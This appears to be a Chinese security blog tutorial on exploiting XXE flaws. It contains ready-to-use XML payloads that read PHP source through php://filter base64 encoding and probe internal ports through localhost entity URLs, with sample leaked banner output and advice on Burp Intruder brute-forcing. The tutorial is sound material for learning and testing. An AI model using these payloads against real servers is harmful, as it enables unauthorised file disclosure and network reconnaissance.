当前位置: 首页 > news >正文

北京哪里可以做网站企业培训 电子商务网站建设 图片

北京哪里可以做网站,企业培训 电子商务网站建设 图片,校园兼职网站开发用例图,网络渠道一.如何通过XXE漏洞读取php文件。 前面文章我们已经演示了通过file:///去读取文件&#xff0c;通过XXE漏洞php文件是读取不到的&#xff0c;我们 该如何读取php文件呢&#xff1f; 我们可以通过一下代码实现读取php文件。 <?xml version"1.0" encoding"utf…

一.如何通过XXE漏洞读取php文件。

        前面文章我们已经演示了通过file:///去读取文件,通过XXE漏洞php文件是读取不到的,我们

该如何读取php文件呢?

我们可以通过一下代码实现读取php文件。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php" >]>
<root>
<name>&xxe;</name>
</root>
我们得到了一串base64编码:
 PD9waHAKJHhtbD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsKJGRhdGEgPSBzaW1wbGV4bWxfbG9hZF9zdHJpbmcoJHhtbCkgOwplY2hvICI8cHJlPiIgOwpwcmludF9yKCRkYXRhKSA7CmVjaG8gIjwvcHJlPiIgOwo/Pgo=

再对base64编码进行解码:

就可以查看到php文件了:

<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
echo "</pre>" ;
?>

二.端口探测方式

类似于SSRF漏洞一样进行端口探测,实现起来也非常的简单,代码如下:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:22" >]>
<root>
<name>&xxe;</name>
</root>

通过实体解析到内网网段22端口。

端口开放返回端口 banner 信息,端口关闭返回 Connection refused

我们看到是有回显的并且包含报错信息:

Warning: simplexml_load_string(http://127.0.0.1:22) [function.simplexml-load-string]: failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1 in /var/www/xxe.php on line 3

这条可以看到虽然报错failed to open stream: HTTP request failed! 但还是显示SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1

Warning: simplexml_load_string() [function.simplexml-load-string]: I/O warning : failed to load external entity "http://127.0.0.1:22" in /var/www/xxe.php on line 3

这条报错暴露了文件位置以及是simplexml-load-string导致的错误。

可通过 burpsuite 或脚本实现批量探测

如此一来我们就可以探测到端口信息,并且可以使用bp进行暴力枚举:

通过intruder模块进行暴力枚举,设置0-443(实战你们可以直接65545).

然后我们可以通过回显长度进行判断端口存活情况:

以上就是我们的文件读取以及端口探测的方式。

总结:

1)通过php://filter协议以base64编码格式读取PHP文件内容,解码后可获取源代码;

2)结合SSRF技术进行端口探测,通过响应信息判断目标端口开放状态,并可结合BurpSuite批量探测。这两种方法分别实现了敏感文件读取和网络探测功能,其中端口探测会返回banner信息并可能暴露文件路径,通过响应长度差异可判断端口存活情况。

http://www.dtcms.com/a/616000.html

相关文章:

  • 网站制作关键词做外贸的网站哪些是最好的
  • 沛县网站设计网站建设维护是什么岗位
  • 内江市建设信息网站做中国菜的外国网站
  • 网站域名邮箱怎么注册做企业网站用什么cms好
  • 建设电影网站的目的wordpress百度抓取
  • 哪些浏览器可以看禁止访问的网站做网站设计公司
  • 外观设计网站什么样建网站
  • 网站建设是干什么深圳公司网站建立
  • 网站维护与建设合同自己做的网站视频播放不了
  • 徐州网站建设多少钱wordpress站内301
  • 如何做网站流量统计苏州装饰公司
  • 网站建设详细报价重庆seo招聘
  • 易优建站烟台网站设计公司推荐
  • 班级网站建设感想如何在百度创建网站
  • 企业网站建设代理商php 网站开发心得
  • 企业建网站的步骤微信网页注册入口
  • 浙江建设厅网站那三类人员开发公司开会新闻稿
  • win2003做网站长春网页设计培训
  • 网站什么情况要更新安什么网站建设
  • 企业网站建设 cms智慧团建官网网页版入口
  • 网站首页动画怎么做的弹幕视频网站开发
  • 网站开发质量控制计划书电商美工是做什么的
  • STM32F030读取两路adc
  • 悬赏做海报的网站建设工程招标投标网
  • 钱建网站泰国网站域名
  • 百度写一篇文章多少钱昆明网站排名优化报价
  • 西安哪里可以做网站做关于车的网站有哪些
  • 长治网站制作报价做美食哪些类型网站
  • 网站代理服务器设置免费s站推广网站
  • seo三人行网站网站怎么防止黑客攻击